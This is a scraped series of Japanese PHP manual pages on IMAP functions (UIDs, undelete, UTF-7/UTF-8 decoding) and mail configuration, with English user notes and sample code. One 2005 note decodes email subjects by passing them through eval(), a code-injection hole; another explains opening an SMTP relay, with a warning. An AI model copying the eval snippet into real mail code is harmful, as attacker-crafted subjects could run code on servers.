I would like to point out that, at least in the case of Gmail, the UIDs of emails are changed if they are moved from one folder to another. Even if moved back to the same folder the UIDs get incremented and thus changed.
I found this the hard way after relaying on the notion that UIDs do not change as I found almost everywhere in the docs.
Maikel 14-Jul-2010 05:27
Be aware that the uid is unique in a single mailbox. That means a message can have as much uids as mailboxes
anon et mouse 28-Jan-2009 11:57
clarification for Andreas' note about imap_expunge()...

imap_expunge() does indeed change the UID, but only *after* the IMAP stream has closed and then reconnects.

You can use imap_expunge() as many times as you want within one IMAP stream (no reconnects) and the UID stays the same while the Msgno will change with imap_delete() followed by imap_expunge().
Andreas Seeger 24-Jul-2008 10:26
The uid will change in case of unsing imap_expunge. Be shure that
all work ist done before using imap_expunge.
roger at sdr dot com dot au 01-May-2008 07:34
A little quirk of UIDs in a PUBLIC folder in MDaemon (and perhaps other servers?). The UIDs may be unsynchronised between users if the server's option to store flags on a per-user basis is turned on. That is, a message may have a UID of 5 for one user (meaning it was the 5th message to enter the box) but 3 for another user (who perhaps subscribed to the box later). If this is a problem, turn off the per-user option for the mailbox.
steve_foley at excite dot com 04-Sep-2002 10:27
Please note that message_id in the header is NOT the UID - and its dangerous to use as many mail progs don't put a message id in


削除マークがついているメッセージのマークをはずす

  • ≪ imap_uid
  • imap_unsubscribe ≫
  • PHP Manual
  • IMAP 関数
  • 削除マークがついているメッセージのマークをはずす

imap_undelete

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_undelete — 削除マークがついているメッセージのマークをはずす

説明

imap_undelete ( resource $imap , string $message_num , int $flags = 0 ) : bool

指定したメッセージについて、 imap_delete() または imap_mail_move() で設定された削除フラグをはずします。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_num

メッセージ番号。

flags

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • imap_delete() - 現在のメールボックスから削除するメッセージに印を付ける
  • imap_mail_move() - 指定されたメッセージをメールボックスに移動する

User Contributed Notes

phrank 29-Dec-2007 03:47
If you need to use the uid instead of msgno use

imap_clearflag_full($stream, implode(',', $flags), '\\DELETED', ST_UID);
rdi at nospam dot donireland dot com 18-Nov-2007 07:18
The imap_delete function allows the option to use a UID for the message number but the imap_undelete function does not.


メールボックスの購読をやめる

  • ≪ imap_undelete
  • imap_utf7_decode ≫
  • PHP Manual
  • IMAP 関数
  • メールボックスの購読をやめる

imap_unsubscribe

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_unsubscribe — メールボックスの購読をやめる

説明

imap_unsubscribe ( resource $imap , string $mailbox ) : bool

指定されたメールボックス mailbox の購読を中止します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

mailbox

メールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • imap_subscribe() - メールボックスを購読する

User Contributed Notes

There are no user contributed notes for this page.


修正版 UTF-7 エンコードされた文字列をデコードする

  • ≪ imap_unsubscribe
  • imap_utf7_encode ≫
  • PHP Manual
  • IMAP 関数
  • 修正版 UTF-7 エンコードされた文字列をデコードする

imap_utf7_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_utf7_decode — 修正版 UTF-7 エンコードされた文字列をデコードする

説明

imap_utf7_decode ( string $string ) : string|false

修正版 UTF-7 の string を ISO-8859-1 文字列に デコードします。

この関数は、ある種の非 ASCII 文字を含むメールボックス名をデコードする際に 必要となります。

パラメータ

string

修正版 UTF-7 エンコーディングの文字列。このエンコーディングについては » RFC 2060, section 5.1.3 で定義されています。

返り値

string と同じ内容の文字を ISO-8859-1 でエンコード した文字列を返します。string に修正版 UTF-7 として 不正な文字が含まれていた場合、あるいは string に ISO-8859-1 文字セットの範囲外の文字が含まれていた場合には false を返します。

参考

  • imap_utf7_encode() - ISO-8859-1 文字列を修正版 UTF-7 テキストに変換する

User Contributed Notes

Anonymous 09-Feb-2015 10:21
I can't find method for converting imap utf7 into utf8.
So I have to write several lines of code to solve this issue. May be this could be usefull. Here is no error handling but it could be added.

Usage:
$imap_utf7 = '[Gmail]/&BBIEMAQ2BD0EPgQ1-';
$utf8 =  ImapUtf7::decode($imap_utf7);
$imap_utf7_2 =  ImapUtf7::encode($utf8);

[ImapUtf7.php]
<?php
class ImapUtf7 {
    static $imap_base64 =
        'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+,';
    static private function encode_b64imap($s) {
        $a=0; $al=0; $res=''; $n=strlen($s);
        for($i=0;$i<$n;$i++) {
            $a=($a<<8)|ord($s[$i]); $al+=8;
            for(;$al>=6;$al-=6) $res.=self::$imap_base64[($a>>($al-6))&0x3F];
        }
        if ($al>0) { $res.=self::$imap_base64[($a<<(6-$al))&0x3F]; }
        return $res;
    }
    static private function encode_utf8_char($w) {
        if ($w&0x80000000) return '';
        if ($w&0xFC000000) $n=5; else
        if ($w&0xFFE00000) $n=4; else
        if ($w&0xFFFF0000) $n=3; else
        if ($w&0xFFFFF800) $n=2; else
        if ($w&0xFFFFFF80) $n=1; else return chr($w);
        $res=chr(( (255<<(7-$n)) | ($w>>($n*6)) )&255);
        while(--$n>=0) $res.=chr((($w>>($n*6))&0x3F)|0x80);
        return $res;
    }
    static private function decode_b64imap($s) {
        $a=0; $al=0; $res=''; $n=strlen($s);
        for($i=0;$i<$n;$i++) {
            $k=strpos(self::$imap_base64,$s[$i]); if ($k===FALSE) continue;
            $a=($a<<6)|$k; $al+=6;
            if ($al>=8) { $res.=chr(($a>>($al-8))&255);$al-=8; }
        }
        $r2=''; $n=strlen($res);
        for($i=0;$i<$n;$i++) {
            $c=ord($res[$i]); $i++;
            if ($i<$n) $c=($c<<8) | ord($res[$i]);
            $r2.=self::encode_utf8_char($c);
        }
        return $r2;
    }
    static function encode($s) {
        $n=strlen($s);$err=0;$buf='';$res='';
        for($i=0;$i<$n;) {
            $x=ord($s[$i++]);
            if (($x&0x80)==0x00) { $r=$x;$w=0; }
            else if (($x&0xE0)==0xC0) { $w=1; $r=$x &0x1F; }
            else if (($x&0xF0)==0xE0) { $w=2; $r=$x &0x0F; }
            else if (($x&0xF8)==0xF0) { $w=3; $r=$x &0x07; }
            else if (($x&0xFC)==0xF8) { $w=4; $r=$x &0x03; }
            else if (($x&0xFE)==0xFC) { $w=5; $r=$x &0x01; }
            else if (($x&0xC0)==0x80) { $w=0; $r=-1; $err++; }
            else { $w=0;$r=-2;$err++; }
            for($k=0;$k<$w && $i<$n; $k++) {
                $x=ord($s[$i++]); if ($x&0xE0!=0x80) { $err++; }
                $r=($r<<6)|($x&0x3F);
            }
            if ($r<0x20 || $r>0x7E ) {
                $buf.=chr(($r>>8)&0xFF); $buf.=chr($r&0xFF);
            } else {
                if (strlen($buf)) {
                    $res.='&'.self::encode_b64imap($buf).'-';
                    $buf='';
                }
                if ($r==0x26) { $res.='&-'; } else $res.=chr($r);
            }
        }
        if (strlen($buf)) $res.='&'.self::encode_b64imap($buf).'-';
        return $res;
    }
    static function decode($s) {
        $res=''; $n=strlen($s); $h=0;
        while($h<$n) {
            $t=strpos($s,'&',$h); if ($t===false) $t=$n;
            $res.=substr($s,$h,$t-$h); $h=$t+1; if ($h>=$n) break;
            $t=strpos($s,'-',$h); if ($t===false) $t=$n;
            $k=$t-$h;
            if ($k==0) $res.='&';
            else $res.=self::decode_b64imap(substr($s,$h,$k));
            $h=$t+1;
        }
        return $res;
    }
}
Min He 10-May-2010 11:21
For Chinese charset, we can use:

mb_convert_encoding($mailbox, "UTF7-IMAP", "GB2312");

when you want to create a mailbox in Chinese.

OR

mb_convert_encoding($mailbox, "GB2312", "UTF7-IMAP");

when you want to show the listed mailbox with the right charset.
27-Aug-2002 10:32
For "Outlook-style" UTF-7, you can also use:

mb_convert_encoding( $str, "ISO_8859-1", "UTF7-IMAP" ); # for decoding
mb_convert_encoding( $str, "UTF7-IMAP", "ISO_8859-1" ); # for encoding
sven at planb dot de 03-Nov-2000 03:44
imap_utf7_decode decodes 'modified'.
For decoding Outlook UTF-7 - texts I use --enable-recode and $latin1string=recode_string("UTF-7..ISO_8859-1",$utf7string);
Don't use recode-3.5c.*rpm from Contrib.
recode_string seems to be buggy.


ISO-8859-1 文字列を修正版 UTF-7 テキストに変換する

  • ≪ imap_utf7_decode
  • imap_utf8_to_mutf7 ≫
  • PHP Manual
  • IMAP 関数
  • ISO-8859-1 文字列を修正版 UTF-7 テキストに変換する

imap_utf7_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_utf7_encode — ISO-8859-1 文字列を修正版 UTF-7 テキストに変換する

説明

imap_utf7_encode ( string $string ) : string

string を修正版 UTF-7 テキストに変換します。

この関数は、ある種の非 ASCII 文字を含むメールボックス名をエンコード する際に必要となります。

パラメータ

string

ISO-8859-1 文字列。

返り値

string を修正版 UTF-7 でエンコードした文字列を返します。 このエンコーディングについては » RFC 2060, section 5.1.3 で定義されています。

参考

  • imap_utf7_decode() - 修正版 UTF-7 エンコードされた文字列をデコードする

User Contributed Notes

Olivier 07-Jan-2019 02:34
For those who search for a good implementation of modified UTF-7 encoding for IMAP, you can find a code that works on :
http://tananyag.ntszki.hu/mail/functions/imap_utf7_local.php
The result is different from imap-utf7-encode() function and is identical to mailbox name generated by Thunderbird.
dn at dnunes dot com 08-Nov-2007 11:59
Maccoy function's isn't reliable 'cause it doesn't follow the RFC 2060. It will work fine for most latin chars (which, in base64, will turn into "+A..."), but for other language it can make a big mess. If you're using an internationalizated system, try using the other presented options.
31-Jul-2006 07:10
This encoding will not work for cyrus imapservers and you might have problems with other mail clients.
Use mb_convert_encoding($str, "UTF7-IMAP","ISO-8859-15") instead.

ps: mb_convert_encoding() requires   building php with  --enable-mbstring option
02-Nov-2005 03:01
Note that php4 (4.4.0) will encode IMAP folders in a way that no other program will be able to decode them back.
$ php4 <<EOF
> <?php
> echo "ENCODED: " . imap_utf7_encode("?") . "\\n";
> ?>
> EOF
ENCODED: &w5w-

Now try to decode the result string ("&w5w-") using e.g. javamail or python's imaplib, or if you don't like these languages - create an IMAP folder using PHP and try to display it in an IMAP client (mutt, thunderbird, outlook, whatever...)
marcelo at maccoy dot com dot br 07-Mar-2005 05:48
<?php
/**
* @return encoded string
* @param string $str
* @desc Convert str to UTF-7 imap default mailbox names
    (the imap_utf7_encode don t built the same result)
*/
function getEncodedUtf7($str){
    if(!$str){
       echo "error: you need to give a string parameter.";
       return false;
    }
# change spaces by entropy because mb_convert fail with spaces
    $str=ereg_replace(" ","xyxy",$str);
# if mb_convert work
    if($str=mb_convert_encoding($str,"UTF-7")){
        # change characters
            $str=preg_replace("/\+A/","&A",$str);
        # change to spaces again
            $str=preg_replace("/xyxy/"," ",$str);
        # return encoded string
            return $str;
 # else
    }else{
        # print error and return false
            echo "error: is not possible to encode this string '$str'.[".
            imap_last_error().
            "]";
            return false;
    }
}
?>


UTF-8 文字列を修正UTF-7にエンコードする

  • ≪ imap_utf7_encode
  • imap_utf8 ≫
  • PHP Manual
  • IMAP 関数
  • UTF-8 文字列を修正UTF-7にエンコードする

imap_utf8_to_mutf7

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

imap_utf8_to_mutf7 — UTF-8 文字列を修正UTF-7にエンコードする

説明

imap_utf8_to_mutf7 ( string $string ) : string|false

UTF-8 文字列を、修正UTF-7(RFC 2060, section 5.1.3)にエンコードします。

注意:

この関数は libcclient が utf8_to_mutf7() をエクスポートした場合にのみ利用できます。

パラメータ

string

UTF-8 エンコードされた文字列

返り値

string を修正UTF-7に変換したものを返します。 失敗した場合に false を返します.

参考

  • imap_mutf7_to_utf8() - 修正UTF-7文字列をUTF-8にデコードする

User Contributed Notes

There are no user contributed notes for this page.


MIME エンコードされたテキストを UTF-8 に変換する

  • ≪ imap_utf8_to_mutf7
  • メール ≫
  • PHP Manual
  • IMAP 関数
  • MIME エンコードされたテキストを UTF-8 に変換する

imap_utf8

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_utf8 — MIME エンコードされたテキストを UTF-8 に変換する

説明

imap_utf8 ( string $mime_encoded_text ) : string

宣言されている文字セットを libc-client が知っている場合は、 指定した mime_encoded_text を UTF-8 に変換します。 知らない場合は、指定されたテキストはデコードされますが、UTF-8 には変換されません。

パラメータ

mime_encoded_text

MIME エンコードされた文字列。 MIME エンコーディング方法および UTF-8 の仕様については、それぞれ » RFC2047 および » RFC2044 を参照ください。

返り値

デコードされた文字列。可能な場合は UTF-8 に変換されます。

例

例1 Basic imap_utf8() の使い方

<?php
echo imap_utf8("Johannes =?ISO-8859-1?Q?Schl=FCter?=");
?>

上の例の出力は、 たとえば以下のようになります。

Johannes SchluI?ter

参考

  • imap_mime_header_decode() - MIME ヘッダ要素をデコードする

User Contributed Notes

kloewer at gmail dot com 17-Oct-2011 03:08
Use  iconv_mime_decode();

<?php
// This yields "Subject: Prufung Prufung"
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
                       0, "ISO-8859-1");
?>

http://php.net/manual/de/function.iconv-mime-decode.php
esvit at mail dot ru 26-Jan-2011 05:12
That fixed the all caps issue:

<?php
function imap_utf8_fix($string) {
  return iconv_mime_decode($string,0,"UTF-8");
}
?>
number0 at tlen dot pl 06-Jul-2009 02:43
string in uppercase error http://bugs.php.net/bug.php?id=44098
my function to decode string

<?php
function decodeMimeStr($string, $charset="UTF-8" )
{
      $newString = '';
      $elements=imap_mime_header_decode($string);
      for($i=0;$i<count($elements);$i++)
      {
        if ($elements[$i]->charset == 'default')
          $elements[$i]->charset = 'iso-8859-1';
        $newString .= iconv($elements[$i]->charset, $charset, $elements[$i]->text);
      }
      return $newString;
}
?>
MetaYii 22-Jun-2009 01:24
Be aware: imap_utf8 tends to return the string in uppercase.
Anonymous webmaster@luzon14DoTCom 30-Jul-2007 12:43
You may also try this example:

$_subject = "=?iso-8859-1?b?THV6b26uMTQ=?= dot CoM";
echo utf8_decode(imap_utf8($_subject));

OUTPUT: Luzon®14 dot CoM

Regards,
Tuso/Nazareth
hans at lintoo dot dk 19-Sep-2005 04:42
Also see:
<?php
imap_mime_header_decode($sting);
?>
Don't try to decode subjects with this one... imap_mime_header_decode does a much better job at that.
marcelo at maccoy dot com dot br 14-Feb-2005 12:01
# this script are correct with the right signs remove expression
# please, ignore the later.
function decode_utf8($str){
       # paterns
           $err="(=\?.{10,13}q\?_?|\?\=)";
           $pat = "/=([0-9A-F]{2})/";
           $cha="'.chr(hexdec(";
       # erase null signs in string
          $str=eregi_replace($err,"",$str);
       # to decode with eval and replace
          eval("\$str='".
                  preg_replace($pat,$cha."'$1')).'",$str)
                  ."';");
        # return
           return $str;
}
#Note: you can to reduce this script in 3 lines.
mogster_at_boomdesign.no 31-Oct-2002 03:53
To get a complete decode to utf8 (which is the protocol with "national" characters), use these two:
$subject = "=?ISO-8859-1?Q?B=F8lla?=, med =?ISO-8859-1?Q?=F8l?= i baggen";
$subject = imap_utf8($subject);
$subject = utf8_decode($subject);
will return the subject in 8-bit ascii.
That is, both functions.

knutm :-)


メール

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • メール 関数
    • ezmlm_hash — EZMLM で必要なハッシュ値を計算する
    • mail — メールを送信する

User Contributed Notes

pouletfou at gmail dot com 06-Aug-2009 10:39
I use this script to test webapps using mail with this little php script saved as /usr/sbin/sendmail :

#!/usr/bin/php
<?php
    //====================================================
    // Program : Fake send mail
    // Author : pouletfou at gmail
    // Description : save this file as /usr/sbin/sendmail
    //  and you can test your PHP applications using mail
    //  by looking at the /tmp/fakesendmail.log files.
    //====================================================

    define('LOGFILE','/tmp/fakesendmail.log');

    $log = fopen (LOGFILE,'a+');

    fwrite($log,"\n".implode(' ',$argv).
     " called on : ".date('Y-m-d H:i:s')."\n");

    fwrite($log,file_get_contents("php://stdin"));
    fwrite($log,
"\n===========================================================\n");
    fclose($log);

?>
Ashlin 15-Apr-2009 10:34
2 points have to be set :

<?php
ini_set("SMTP","smtp.example.com" );
ini_set('sendmail_from', 'user@example.com');
?>

or set them in the php.ini file

By doing this, i have fixed definetly this problem :-)
burkestar at gmail dot com 05-Nov-2008 10:15
The workaround mentioned above only works with IIS 5 assuming you've configured the Virtual SMTP Server to accept relays.

In IIS console, right-click SMTP Virtual Server and choose "Properties". On "Access" tab, click "Relay..." button and make sure "All except the list below" is selected.

Warning: This is just a quick fix which exposes a security risk because allowing your SMTP server to be a relay with anonymous access could make your computer susceptible to becoming a spam zombie.  You should properly add your computer's IP address to the list and choose "Only the list below" instead to lock it down.
Some guy 01-Sep-2008 05:17
Under windows there is a bug in php/mail

See here: http://bugs.php.net/bug.php?id=28038

this results in you being unable to send 'From: Full Name <me@domain.com>'

Workaround is:

Set the following before calling the mail function:

ini_set('sendmail_from', 'me@domain.com);
dev at realynospamspcweb dot nl 22-Aug-2008 02:16
@Crusiatus Black
23-May-2008 05:00

Code below works without errors
<?php

$Name = "Da Duder"; //senders name
$email = "email@adress.com"; //senders e-mail adress
$recipient = "PersonWhoGetsIt@emailadress.com"; //recipient
$mail_body = "The text for the mail..."; //mail body
$subject = "Subject for reviever"; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields

mail($recipient, $subject, $mail_body, $header); //mail command :)
?>


はじめに

mail() 関数によりメールを送信できるようになります。

User Contributed Notes

There are no user contributed notes for this page.


要件

メール関数を使用可能にするには、PHP のコンパイル時点でシステム上の sendmail バイナリにアクセスできなければなりません。 qmail や postfix など他のメールプログラムを使用してる場合には、 それらのソフトに付随する適当な sendmail ラッパーを使用するように 気をつけてください。 PHP は sendmail を探す際にまず PATH を見ます。次に /usr/bin:/usr/sbin:/usr/etc:/etc:/usr/ucblib:/usr/lib の順で探します。PATH を通して sendmail を使用可能な 状態にしておくことが強く推奨されます。 また、コンパイルされた PHP が sendmail バイナリにアクセスできる権限を 持っていなければなりません。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Mail 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mail.add_x_header | "0" | PHP_INI_PERDIR | PHP 5.3.0 以降で使用可能
mail.log | NULL | PHP_INI_PERDIR | PHP 5.3.0 以降で使用可能 (PHP_INI_SYSTEM|PHP_INI_PERDIR)
mail.force_extra_parameters | NULL | PHP_INI_PERDIR | PHP 5.0.0 以降で使用可能 (PHP_INI_SYSTEM|PHP_INI_PERDIR)
SMTP | "localhost" | PHP_INI_ALL |
smtp_port | "25" | PHP_INI_ALL |
sendmail_from | NULL | PHP_INI_ALL |
sendmail_path | "/usr/sbin/sendmail -t -i" | PHP_INI_SYSTEM |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

mail.add_x_header bool

X-PHP-Originating-Script を追加します。 それはスクリプトの UID を含み、その後にファイル名が続きます。

mail.log string

ログファイルへのパス。mail() がコールされるたびにこのファイルに記録します。 ログに含まれる内容は、スクリプトのフルパスと行番号、そして To アドレスとヘッダです。

mail.force_extra_parameters string

指定したパラメータを、sendmail バイナリへの追加パラメータとして強制的に渡します。 これらのパラメータは、たとえセーフモードであっても、常に mail() の第 5 パラメータの値を上書きします。

SMTP string

Windows 環境のみで使用されます: mail() 関数でメールを送信する際に使用する SMTP サーバーのホスト名または IP アドレス。

smtp_port int

Windows 環境のみで使用されます: SMTP 設定で指定したサーバーに接続するポート番号で、 デフォルトは 25 です。

sendmail_from string

SMTP 経由で直接送信されるメールにおいて "From:" に使用するメールアドレスを指定します(Windows環境のみ)。 このディレクティブは、"Return-Path:" ヘッダも設定します。

sendmail_path string

sendmail プログラムを探すパスを指定します。 通常、/usr/sbin/sendmail または /usr/lib/sendmail です。 configure は、このパスを探し、 デフォルト値として設定しますが、 これで上手くいかない場合にはこのオプションで設定する必要があります。

sendmail を使用していないシステムは、 使用するメールシステムが提供する sendmail のラッパー/代替品を、 必要に応じてこのディレクティブに設定する必要があります。例えば、» Qmail ユーザーは、通常 /var/qmail/bin/sendmail または /var/qmail/bin/qmail-inject に設定します。

qmail-inject では、 メールを正しく処理するためのオプション設定は不要です。

このディレクティブは Windows 環境でも動作します。指定された場合は smtp および smtp_port・ sendmail_from の値は無視され、 ここで指定したコマンドが実行されます。

User Contributed Notes

Mark Simon 05-Jul-2019 07:02
It is worth reiterating that, as stated above, sendmail_path also works for Windows, overriding other Windows SMTP settings.

The comment in php.ini, "For Unix only", does not make that clear.

This makes it relatively easy to substitute a fake sendmail program or even a shell script/batch file to save mail to a text file.

I use this technique when teaching or testing in PHP.
php dot net at ii0 dot net 16-Nov-2016 08:46
If anyone gets this cryptic error message in the PHP error logs:
"sh: -t: command not found"
after upgrading from PHP 5.4, this may be the solution for you.

I upgraded PHP from 5.4 to 5.6 and all our mail() functionality suddenly broke, with no useful error logging.

If this is you, and you've been using ini_set() to set the "sendmail_path" then note that even though it's apparently not mentioned in the upgrade documentation -- or anywhere else I could find on php.net (or a dozen forums) -- you'll now need to go set the sendmail_path in your php.ini file; it is now ignored if you use ini_set() to specify a path to the sendmail binary on the fly.

So, just specify "sendmail_path" in php.ini instead.  That's all there is to it -- that fixed all the mail() functionality for us.

Hope this little note saves someone else as much time as I spent troubleshooting and researching.  Cheers!
phpnote-mail at revmaps dot no-ip dot org 19-Jan-2016 09:16
setting return path:

 Return-path header does not work because it is not part of smtp.

 on *nix -f may be set on the mail command
alternatively
 some MTAs accept mbox-style "From " header on the first header line
note: no colon after "From" , must be the first header line
or  you may be able to re-configure you MTA to interpret return-path headers

 -f is the most reliable method but it may mean that you can't set any other command-line option due to shell escaping problems.

also note that email formatting requirements differ between windows and everything else. sendmail expects only \n line-endings
elitescripts2000 at yahoo dot com 08-Dec-2013 07:52
On Ubuntu 13.04, not sure of the other Distros.

If you simply uncomment the default:

sendmail_path = "sendmail -t -i"

Your mail() functions will all fail.  This is because, you should place the FULL PATH (i.e.  /usr/sbin/sendmail -t -i )

The documentation states PHP tries it's best to find the correct sendmail path, but it clearly failed for me.

So, always enter in the FULLPATH to sendmail or you may get unexpected failing results.

As a secondary note:  Those that just want to ENFORCE the -f parameter, you can do so in php.ini using:

mail.force_extra_parameters = -fdo_not_reply@domain.tld

You can leave the sendmail path commented out, it will still use the defaults  (under UNIX  -t -i options which if you look them up are very important to have set)....

But, now there is no way to change this, even with the 5th argument of the mail() function.  -f is important, because if NOT set, will be set to which ever user the PHP script is running under, and you may not want that.

Also, -f  sets the Return-Path:  header which is used as the Bounce address, if errors occur, so you can process them.  You you can not set Return-Path: in mail() headers for some reason... you could before.  Now you have to use the -f option.
mike dot castrodemaria at gmail dot com 20-Jun-2013 02:00
You can set on apache2 a "per domain" default address in apache conf VirtualHost section too.

Juste add : php_admin_value sendmail_path "/usr/sbin/sendmail -t -i -fno-reply@php.net -Fno-reply"

change to your own email choice instead no-reply@php.net .

I hope this helps,
Mike
blueshibuyadream at gmail dot com 28-Mar-2013 12:27
On Darwin OS such as OSX (current one: 10.8.3) you need to add a specific command and option to the sendmail_path constant if you have downloaded and installed a mamp with a stack.

Indeed you can see the required libraries for PHP, Apache, MySQL in "common/lib" folder. The problem is when you run an external command using these libraries, for example "sendmail". It could be a problem if it gets the stack libraries and not the system ones (different versions, etc).

The "env -i" command clean the Stack environment variables and run "sendmail" with the system libraries.

Hope this helps.
rgdobie at conwave dot com dot au 22-Feb-2013 06:46
Under Windows, I found sendmail_from needed to be a valid email address which has been defined on the mail server being addressed.
A Austin 11-Jul-2012 05:40
For linux you can over-ride the default "From" for the outgoing emails by including in php.ini this line:

sendmail_path = "/usr/sbin/sendmail -t -i -f fromMe@blah.com"

The path should work for most linux installations.
Robert 25-Apr-2011 11:09
Despite what this page says about the "SMTP" and "smtp_port" settings being used only under Windows, all Drupal sites use these settings to send email, regardless of which OS they're running in.


メール 関数

目次

  • ezmlm_hash — EZMLM で必要なハッシュ値を計算する
  • mail — メールを送信する

User Contributed Notes

webmaster at weethet dot nl 31-Aug-2007 07:35
As mentioned earlier, for Windows users there is a fake sendmail option. A bit more detailed description how to do this is:

If you have a test server in use running Windows and some kind of WAMP combo (XXAMP, WAMP Server, etc) then you'll notice that the PHP sendmail command (mail()) does not work. Windows simply does not provide the sendmail statement ...

There is a simple trick to get this to work though;

1) Download (or use the attached file) sendmail.zip from http://glob.com.au/sendmail/

2) Unzip this in a folder on your c: drive (preferably use a simple path, for example c:\wamp\sendmail -- long filenames could cause problems)

3) Edit your PHP.INI file (note: WAMP users should access their php.ini file from the WAMP menu). Go to the [mail function] section and modify it as such:

[mail function]
; For Win32 only.
;SMTP =

; For Win32 only.
;sendmail_from =

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
sendmail_path = "C:\wamp\sendmail\sendmail.exe -t"

; Force the addition of the specified parameters to be passed as extra parameters
; to the sendmail binary. These parameters will always replace the value of
; the 5th parameter to mail(), even in safe mode.
;mail.force_extra_paramaters =

.. and save the changes.

4) Open the sendmail.ini and modify the settings to:

[sendmail]

; you must change mail.mydomain.com to your smtp server,
; or to IIS's "pickup" directory.  (generally C:\Inetpub\mailroot\Pickup)
; emails delivered via IIS's pickup directory cause sendmail to
; run quicker, but you won't get error messages back to the calling
; application.

smtp_server=mail.yourdomain.com

; smtp port (normally 25)

smtp_port=25

; the default domain for this server will be read from the registry
; this will be appended to email addresses when one isn't provided
; if you want to override the value in the registry, uncomment and modify

default_domain=yourdomain.com

; log smtp errors to error.log (defaults to same directory as sendmail.exe)
; uncomment to enable logging
; error_logfile=sendmail_error.log

; create debug log as debug.log (defaults to same directory as sendmail.exe)
; uncomment to enable debugging
; debug_logfile=sendmail_debug.log

; if your smtp server requires authentication, modify the following two lines

;auth_username=
;auth_password=

; if your smtp server uses pop3 before smtp authentication, modify the
; following three lines

pop3_server=mail.yourdomain.com
pop3_username=you@yourdomain.com
pop3_password=mysecretpassword

; to force the sender to always be the following email address, uncomment and
; populate with a valid email address.  this will only affect the "MAIL FROM"
; command, it won't modify the "From: " header of the message content

force_sender=you@yourdomain.com

; sendmail will use your hostname and your default_domain in the ehlo/helo
; smtp greeting.  you can manually set the ehlo/helo name if required

hostname=

The optional error and debug logging is recommended when trying this the first time, so you have a clue what goes wrong in case it doesn't work.
Force_sender is also optional, but recommended to avoid confusion on the server end.
Obviously mail.yourdomain.com, you@yourdomain.com, and mysecretpassword should be the relevant info for your SMTP server.
Now restart the WAMP services (mainly Apache so PHP re-reads it's config).

Now you're good to go and use the PHP mail() statement as if you're a Unix user ...
anselm at netuxo dot co dot uk 10-Nov-2006 02:31
In case you don't want to, or can't, configure sendmail for your server, a good alternative is esmtp - it's an smtp mailer with minimum configuration that can be used as a sendmail drop-in : http://esmtp.sourceforge.net/
martin dot felis at gmx dot de 10-Mar-2006 07:03
If using a chroot environment and you don't want to have a full mailer in it, mini-sendmail (can be found at http://www.acme.com/software/mini_sendmail/) is very useful. It is just a small binary that sends mails over your local mta over port 25.

Martin
derernst at gmx dot ch 17-Feb-2006 08:43
Suggestion for methods checking form inputs for e-mail injection attempts.

Any inputs expected from single-line text fields can just be refused if they contain a newline character. The second function tries to minimize matches on non-evil inputs by matching suspect strings only if preceded by a newline character. (Anyway, if this is considered to be safe, it will of course do it for single-line inputs, too.)

<?php

/**
* Check single-line inputs:
* Returns false if text contains newline character
*/
function has_no_newlines($text)
{
    return preg_match("/(%0A|%0D|\\n+|\\r+)/i", $text) == 0;
}

/**
* Check multi-line inputs:
* Returns false if text contains newline followed by
* email-header specific string
*/
function has_no_emailheaders($text)
{
    return preg_match("/(%0A|%0D|\\n+|\\r+)(content-type:|to:|cc:|bcc:)/i", $text) == 0;
}

?>
jcwebb at dicoe dot com 08-Feb-2006 02:16
Corrupted Attachments ???
I spent many hours with corrupted attachments (of all types of files) - The answer: a blank line is needed after $msg.=$file \r\n \r\n [incredible but true].
Heres some useful code for sending an attachment, and display html OR text depending on the users email-reader.

i work with many different systems, so...

<?php # Is the OS Windows or Mac or Linux
if (strtoupper(substr(PHP_OS,0,3)=='WIN')) {
  $eol="\r\n";
} elseif (strtoupper(substr(PHP_OS,0,3)=='MAC')) {
  $eol="\r";
} else {
  $eol="\n";
} ?>

<?php
# File for Attachment
$f_name="../../letters/".$letter;    // use relative path OR ELSE big headaches. $letter is my file for attaching.
$handle=fopen($f_name, 'rb');
$f_contents=fread($handle, filesize($f_name));
$f_contents=chunk_split(base64_encode($f_contents));    //Encode The Data For Transition using base64_encode();
$f_type=filetype($f_name);
fclose($handle);
# To Email Address
$emailaddress="user@example.com";
# Message Subject
$emailsubject="Heres An Email with a PDF".date("Y/m/d H:i:s");
# Message Body
ob_start();
  require("emailbody.php");     // i made a simple & pretty page for showing in the email
$body=ob_get_contents(); ob_end_clean();

# Common Headers
$headers .= 'From: Jonny <jon@example.com>'.$eol;
$headers .= 'Reply-To: Jonny <jon@example.com>'.$eol;
$headers .= 'Return-Path: Jonny <jon@example.com>'.$eol;     // these two to set reply address
$headers .= "Message-ID:<".$now." TheSystem@".$_SERVER['SERVER_NAME'].">".$eol;
$headers .= "X-Mailer: PHP v".phpversion().$eol;           // These two to help avoid spam-filters
# Boundry for marking the split & Multitype Headers
$mime_boundary=md5(time());
$headers .= 'MIME-Version: 1.0'.$eol;
$headers .= "Content-Type: multipart/related; boundary=\"".$mime_boundary."\"".$eol;
$msg = "";

# Attachment
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: application/pdf; name=\"".$letter."\"".$eol;   // sometimes i have to send MS Word, use 'msword' instead of 'pdf'
$msg .= "Content-Transfer-Encoding: base64".$eol;
